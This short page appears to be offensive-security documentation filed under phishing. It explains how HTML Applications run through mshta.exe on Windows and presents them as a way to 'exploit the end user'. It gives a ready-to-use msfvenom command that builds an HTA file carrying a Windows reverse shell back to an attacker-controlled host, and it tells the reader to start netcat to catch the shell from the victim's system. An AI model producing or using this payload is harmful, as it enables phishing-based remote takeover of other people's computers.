> For the complete documentation index, see [llms.txt](https://docs.particle42.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.particle42.com/phishing/hta.md).

# HTA

HTML applications are another great way to exploit the end user when the system runs on Windows operating system. HTAs are executed using the MSHTA.exe program in Windows. 

Since this runs arbitrary executions of applications from IE and as it clashes with the security boundaries of the browser, it is run outside of the security context of the browser using mshta.exe. 

An HTA to invoke a reverse shell can be prepared using the following command,

```
sudo msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.1 LPORT=443 -f hta-psh -o reverseshell.hta
```

Don't forget to start netcat at your end to receive the reverse shell from the victim's system.